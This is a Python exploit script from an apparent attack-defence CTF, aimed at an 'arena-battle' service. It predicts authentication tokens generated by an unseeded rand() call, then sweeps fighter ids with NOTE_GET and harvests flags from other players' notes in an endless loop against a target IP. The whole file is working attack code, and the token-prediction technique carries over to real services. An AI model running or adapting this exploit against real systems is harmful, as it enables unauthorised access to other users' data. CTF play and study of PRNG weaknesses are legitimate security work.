#!/bin/python3
"""arena-battle flag thief (Brunnerne).

Vuln: auth_token = "token_<id>_<rand()>" with NO srand() => deterministic,
default-seeded PRNG; one draw per created fighter, in fighter-id order.
NOTE_GET <auth_token> [note_id] accepts a raw token with no session binding,
so predicted tokens dump any fighter's notes (checker stores flags there).

Usage: sploit.py <target_ip> [port]        (port default 1337)
Env:   ARENA_PREDICTOR=glibc|darwin  ARENA_MAXID=600  ARENA_WINDOW=0
       ARENA_ROUND_DELAY=20  ARENA_PRECOMP=200000

Strategy per round:
  1. calibrate: register two throwaway fighters back-to-back, parse their
     TOKENs, locate the consecutive value pair in the precomputed PRNG stream
     => exact index of fighter-id N's draw is anchor_idx + (N - anchor_fid).
  2. sweep ids 1..maxid: NOTE_GET token_<id>_<predicted>; on a live fighter
     the listing returns note titles; fetch each note id for full content.
  3. print anything matching [A-Z0-9]{31}= (deduped), rescan forever.
"""

import os
import re
import socket
import sys
import time

sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from predictors import get_predictor  # noqa: E402

FLAG_RE = re.compile(rb"[A-Z0-9]{31}=")
TOKEN_RE = re.compile(rb"TOKEN:token_(\d+)_(\d+)")
NOTEID_RE = re.compile(rb"(?:^|\s)(\d+):")

PORT = 1337
TIMEOUT = float(os.environ.get("ARENA_TIMEOUT", "4"))
MAX_ID = int(os.environ.get("ARENA_MAXID", "600"))
WINDOW = int(os.environ.get("ARENA_WINDOW", "0"))
ROUND_DELAY = float(os.environ.get("ARENA_ROUND_DELAY", "20"))
PRECOMP = int(os.environ.get("ARENA_PRECOMP", "200000"))

seen_flags = set()


def out(msg):
    print(msg, flush=True)


def emit(data):
    for m in FLAG_RE.findall(data):
        f = m.decode("ascii", "replace")
        if f not in seen_flags:
            seen_flags.add(f)
            out("[FLAG] " + f)


class Conn:
    def __init__(self, host, port):
        self.sock = socket.create_connection((host, port), timeout=TIMEOUT)
        self.buf = b""

    def cmd(self, line):
        self.sock.sendall(line.encode() + b"\n")
        deadline = time.time() + TIMEOUT
        while b"\n" not in self.buf:
            self.sock.settimeout(max(0.05, deadline - time.time()))
            chunk = self.sock.recv(4096)
            if not chunk:
                raise ConnectionError("eof")
            self.buf += chunk
        line_out, self.buf = self.buf.split(b"\n", 1)
        return line_out.strip()

    def close(self):
        try:
            self.sock.close()
        except OSError:
            pass


def register(conn, name):
    r = conn.cmd("REGISTER %s mage" % name)
    m = TOKEN_RE.search(r)
    if not m:
        raise RuntimeError("no token in reply: %r" % r[:120])
    return int(m.group(1)), int(m.group(2))  # fighter_id, rand_value


def calibrate(host, port, predictor):
    """Register ONE throwaway fighter, locate its rand() draw in the PRNG
    stream. Returns (conn, [candidate_indices], anchor_fid).

    Only one REGISTER per connection (server rejects a second on the same
    fd). All candidate indices are returned (duplicate values are rare);
    wrong candidates simply predict tokens that match nothing."""
    last = None
    for _ in range(6):
        c = None
        try:
            c = Conn(host, port)
            fid1, v1 = register(c, "Cal%d" % (time.time() % 100000))
            cands = [i for i in predictor.index_of(v1)
                     if i - fid1 >= 0 and i + (MAX_ID + WINDOW) < len(predictor.values)]
            if cands:
                return c, cands, fid1
            last = RuntimeError("value %d not found in %s stream"
                                % (v1, predictor.name))
            c.close()
        except Exception as e:
            last = e
            if c is not None:
                try:
                    c.close()
                except OSError:
                    pass
            time.sleep(0.3)
    raise last


def sweep(conn, predictor, anchor_idxs, anchor_fid):
    vals = predictor.values
    for anchor_idx in anchor_idxs:
        for fid in range(1, MAX_ID + 1):
            base = anchor_idx + (fid - anchor_fid)
            for off in range(-WINDOW, WINDOW + 1):
                idx = base + off
                if idx < 0 or idx >= len(vals):
                    continue
                token = "token_%d_%d" % (fid, vals[idx])
                try:
                    r = conn.cmd("NOTE_GET %s" % token)
                except Exception:
                    return  # connection died; next round recalibrates
                if b"ERROR" in r or not r.startswith(b"NOTES:"):
                    continue
                emit(r)  # titles may already contain the flag
                ids = [int(x) for x in NOTEID_RE.findall(r[6:])]
                for nid in ids[:8]:
                    try:
                        full = conn.cmd("NOTE_GET %s %d" % (token, nid))
                        emit(full)
                    except Exception:
                        return


def main():
    global PORT, MAX_ID
    if len(sys.argv) < 2:
        out("usage: %s <target_ip> [port]" % sys.argv[0])
        return 2
    host = sys.argv[1]
    if len(sys.argv) > 2:
        PORT = int(sys.argv[2])

    pref = os.environ.get("ARENA_PREDICTOR", "")
    order = [pref] if pref else ["glibc", "darwin"]
    predictors = {}
    for name in order:
        if name:
            out("[*] precomputing %s sequence (%d draws)..." % (name, PRECOMP))
            predictors[name] = get_predictor(name, PRECOMP)

    out("[*] targeting %s:%d" % (host, PORT))
    round_no = 0
    while True:
        round_no += 1
        try:
            anchored = None
            for name in order:
                if not name:
                    continue
                try:
                    conn, idx, fid1 = calibrate(host, PORT, predictors[name])
                    anchored = (conn, idx, fid1)
                    used = name
                    break
                except Exception as e:
                    out("[-] round %d: %s calibration failed: %s"
                        % (round_no, name, e))
            if not anchored:
                out("[-] round %d: no predictor matched (server up?)" % round_no)
            else:
                conn, anchor_idx, anchor_fid = anchored
                # make sure late registrations above the anchor are covered
                if anchor_fid + 300 > MAX_ID:
                    MAX_ID = anchor_fid + 300
                out("[*] round %d: calibrated via %s (anchor id=%d idx=%d)"
                    % (round_no, used, anchor_fid, anchor_idx))
                sweep(conn, predictors[used], anchor_idx, anchor_fid)
                conn.close()
                out("[*] round %d done, %d unique flag(s) so far"
                    % (round_no, len(seen_flags)))
        except Exception as e:
            out("[-] round %d error: %s" % (round_no, e))
        time.sleep(ROUND_DELAY)
    return 0


if __name__ == "__main__":
    sys.exit(main())